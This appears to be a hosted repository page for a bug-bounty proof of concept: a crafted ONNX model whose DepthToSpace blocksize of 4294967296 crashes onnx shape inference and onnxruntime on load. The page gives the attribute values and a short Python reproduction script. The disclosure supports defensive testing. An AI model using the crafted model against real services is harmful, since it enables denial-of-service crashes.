You can deploy this model and start earning money today!

hacnho/
onnx-onehot-huge-depth-overflow

Views

No views yet

ONNX DepthToSpace `blocksize` overflow PoC

This repository contains a benign security research PoC for an ONNX model that triggers a process-level crash in onnx.shape_inference and onnxruntime during model loading / shape inference.

Files:

depthtospace-blocksize-overflow.onnx

The model uses:

operator: DepthToSpace
attribute: blocksize = 4294967296
input shape: [1, 2, 1, 1]

Reproduction

bash

python3 -m pip install onnx onnxruntime
python3 - <<'PY'
import onnx
import onnxruntime as ort

model = "depthtospace-blocksize-overflow.onnx"
onnx.checker.check_model(model)
print("checker ok")
onnx.shape_inference.infer_shapes_path(model)
print("unreachable if the issue reproduces")
PY

Expected behavior on the vulnerable environment:

onnx.checker.check_model(...) succeeds
onnx.shape_inference crashes the process
onnxruntime.InferenceSession(model) crashes the process during load

This PoC is intended for defensive validation and bug bounty reproduction only.

hacnho/onnx-onehot-huge-depth-overflow

ONNX DepthToSpace blocksize overflow PoC

Reproduction

hacnho/
onnx-onehot-huge-depth-overflow

ONNX DepthToSpace `blocksize` overflow PoC